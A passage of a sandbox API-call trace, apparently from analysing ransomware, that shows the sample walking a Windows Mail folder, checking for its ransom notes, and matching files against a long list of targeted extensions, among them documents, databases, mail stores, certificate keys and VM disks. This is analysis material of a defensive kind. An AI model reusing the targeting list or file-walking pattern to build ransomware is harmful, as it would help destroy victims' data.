hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0085.502] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x52d540, dwReserved1=0x4f6000, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1 [0085.502] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0085.502] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsMail.MSMessageStore") returned -1 [0085.503] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsMail.MSMessageStore") returned -1 [0085.503] lstrcmpiA (lpString1="", lpString2="WindowsMail.MSMessageStore") returned -1 [0085.503] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*.*") returned="*.*" [0085.503] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" [0085.503] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="" [0085.503] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" [0085.503] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\how to decrypt files.txt")) returned 0x2020 [0085.503] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="WindowsMail.MSMessageStore" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" [0085.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.ems") returned 0 [0085.503] lstrlenA (lpString="*.ems") returned 5 [0085.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.db") returned 0 [0085.503] lstrlenA (lpString="*.db") returned 4 [0085.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.dbf") returned 0 [0085.503] lstrlenA (lpString="*.dbf") returned 5 [0085.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.myox") returned 0 [0085.503] lstrlenA (lpString="*.myox") returned 6 [0085.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.myo") returned 0 [0085.503] lstrlenA (lpString="*.myo") returned 5 [0085.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qbw") returned 0 [0085.503] lstrlenA (lpString="*.qbw") returned 5 [0085.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qbb") returned 0 [0085.503] lstrlenA (lpString="*.qbb") returned 5 [0085.503] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qbm") returned 0 [0085.504] lstrlenA (lpString="*.qbm") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qbo") returned 0 [0085.504] lstrlenA (lpString="*.qbo") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qbx") returned 0 [0085.504] lstrlenA (lpString="*.qbx") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qba") returned 0 [0085.504] lstrlenA (lpString="*.qba") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qby") returned 0 [0085.504] lstrlenA (lpString="*.qby") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qbj") returned 0 [0085.504] lstrlenA (lpString="*.qbj") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.ofx") returned 0 [0085.504] lstrlenA (lpString="*.ofx") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.qif") returned 0 [0085.504] lstrlenA (lpString="*.qif") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.mye") returned 0 [0085.504] lstrlenA (lpString="*.mye") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.mbox") returned 0 [0085.504] lstrlenA (lpString="*.mbox") returned 6 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.eml") returned 0 [0085.504] lstrlenA (lpString="*.eml") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.pst") returned 0 [0085.504] lstrlenA (lpString="*.pst") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.ost") returned 0 [0085.504] lstrlenA (lpString="*.ost") returned 5 [0085.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.idx") returned 0 [0085.504] lstrlenA (lpString="*.idx") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.dbx") returned 0 [0085.505] lstrlenA (lpString="*.dbx") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.sql") returned 0 [0085.505] lstrlenA (lpString="*.sql") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.mdb") returned 0 [0085.505] lstrlenA (lpString="*.mdb") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.fdb") returned 0 [0085.505] lstrlenA (lpString="*.fdb") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.wab") returned 0 [0085.505] lstrlenA (lpString="*.wab") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.dat") returned 0 [0085.505] lstrlenA (lpString="*.dat") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.txt") returned 0 [0085.505] lstrlenA (lpString="*.txt") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.jpeg") returned 0 [0085.505] lstrlenA (lpString="*.jpeg") returned 6 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.jpg") returned 0 [0085.505] lstrlenA (lpString="*.jpg") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.png") returned 0 [0085.505] lstrlenA (lpString="*.png") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.php") returned 0 [0085.505] lstrlenA (lpString="*.php") returned 5 [0085.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.cs") returned 0 [0085.505] lstrlenA (lpString="*.cs") returned 4 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.cpp") returned 0 [0085.506] lstrlenA (lpString="*.cpp") returned 5 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.rar") returned 0 [0085.506] lstrlenA (lpString="*.rar") returned 5 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.zip") returned 0 [0085.506] lstrlenA (lpString="*.zip") returned 5 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.html") returned 0 [0085.506] lstrlenA (lpString="*.html") returned 6 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.htm") returned 0 [0085.506] lstrlenA (lpString="*.htm") returned 5 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.xlsx") returned 0 [0085.506] lstrlenA (lpString="*.xlsx") returned 6 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.xls") returned 0 [0085.506] lstrlenA (lpString="*.xls") returned 5 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.mp4") returned 0 [0085.506] lstrlenA (lpString="*.mp4") returned 5 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.ppt") returned 0 [0085.506] lstrlenA (lpString="*.ppt") returned 5 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.pptx") returned 0 [0085.506] lstrlenA (lpString="*.pptx") returned 6 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.doc") returned 0 [0085.506] lstrlenA (lpString="*.doc") returned 5 [0085.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.dot") returned 0 [0085.506] lstrlenA (lpString="*.dot") returned 5 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.docx") returned 0 [0085.507] lstrlenA (lpString="*.docx") returned 6 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.7z") returned 0 [0085.507] lstrlenA (lpString="*.7z") returned 4 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.tar") returned 0 [0085.507] lstrlenA (lpString="*.tar") returned 5 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.bz2") returned 0 [0085.507] lstrlenA (lpString="*.bz2") returned 5 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.gz") returned 0 [0085.507] lstrlenA (lpString="*.gz") returned 4 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.mkv") returned 0 [0085.507] lstrlenA (lpString="*.mkv") returned 5 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.eml") returned 0 [0085.507] lstrlenA (lpString="*.eml") returned 5 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.msg") returned 0 [0085.507] lstrlenA (lpString="*.msg") returned 5 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.edb") returned 0 [0085.507] lstrlenA (lpString="*.edb") returned 5 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.accdb") returned 0 [0085.507] lstrlenA (lpString="*.accdb") returned 7 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.odb") returned 0 [0085.507] lstrlenA (lpString="*.odb") returned 5 [0085.507] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.java") returned 0 [0085.508] lstrlenA (lpString="*.java") returned 6 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.asm") returned 0 [0085.508] lstrlenA (lpString="*.asm") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.pfx") returned 0 [0085.508] lstrlenA (lpString="*.pfx") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.pem") returned 0 [0085.508] lstrlenA (lpString="*.pem") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.p12") returned 0 [0085.508] lstrlenA (lpString="*.p12") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.gpg") returned 0 [0085.508] lstrlenA (lpString="*.gpg") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.vsd") returned 0 [0085.508] lstrlenA (lpString="*.vsd") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.odg") returned 0 [0085.508] lstrlenA (lpString="*.odg") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.raw") returned 0 [0085.508] lstrlenA (lpString="*.raw") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.nef") returned 0 [0085.508] lstrlenA (lpString="*.nef") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.svg") returned 0 [0085.508] lstrlenA (lpString="*.svg") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.psd") returned 0 [0085.508] lstrlenA (lpString="*.psd") returned 5 [0085.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.vmx") returned 0 [0085.508] lstrlenA (lpString="*.vmx") returned 5 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.vmdk") returned 0 [0085.509] lstrlenA (lpString="*.vmdk") returned 6 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.vdi") returned 0 [0085.509] lstrlenA (lpString="*.vdi") returned 5 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.lay6") returned 0 [0085.509] lstrlenA (lpString="*.lay6") returned 6 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.mpeg") returned 0 [0085.509] lstrlenA (lpString="*.mpeg") returned 6 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.djvu") returned 0 [0085.509] lstrlenA (lpString="*.djvu") returned 6 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.tiff") returned 0 [0085.509] lstrlenA (lpString="*.tiff") returned 6 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.backup") returned 0 [0085.509] lstrlenA (lpString="*.backup") returned 8 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.pdf") returned 0 [0085.509] lstrlenA (lpString="*.pdf") returned 5 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.cert") returned 0 [0085.509] lstrlenA (lpString="*.cert") returned 6 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.docm") returned 0 [0085.509] lstrlenA (lpString="*.docm") returned 6 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.xlsm") returned 0 [0085.509] lstrlenA (lpString="*.xlsm") returned 6 [0085.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.dwg") returned 0 [0085.510] lstrlenA (lpString="*.dwg") returned 5 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.nd") returned 0 [0085.510] lstrlenA (lpString="*.nd") returned 4 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.tlg") returned 0 [0085.510] lstrlenA (lpString="*.tlg") returned 5 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.lgb") returned 0 [0085.510] lstrlenA (lpString="*.lgb") returned 5 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.mov") returned 0 [0085.510] lstrlenA (lpString="*.mov") returned 5 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.xdw") returned 0 [0085.510] lstrlenA (lpString="*.xdw") returned 5 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.ods") returned 0 [0085.510] lstrlenA (lpString="*.ods") returned 5 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.wav") returned 0 [0085.510] lstrlenA (lpString="*.wav") returned 5 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.mp3") returned 0 [0085.510] lstrlenA (lpString="*.mp3") returned 5 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.aiff") returned 0 [0085.510] lstrlenA (lpString="*.aiff") returned 6 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.flac") returned 0 [0085.510] lstrlenA (lpString="*.flac") returned 6 [0085.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.m4a") returned 0 [0085.511] lstrlenA (lpString="*.m4a") returned 5 [0085.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", pszSpec="*.csv") returned 0 [0085.511] lstrlenA (lpString="*.csv") returned 5 [0085.511] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1 [0085.511] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0085.511] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsMail.pat") returned -1 [0085.511] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsMail.pat") returned -1 [0085.511] lstrcmpiA (lpString1="", lpString2="WindowsMail.pat") returned -1 [0085.511] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned="WindowsMail.MSMessageStore" [0085.511] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" [0085.511] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS 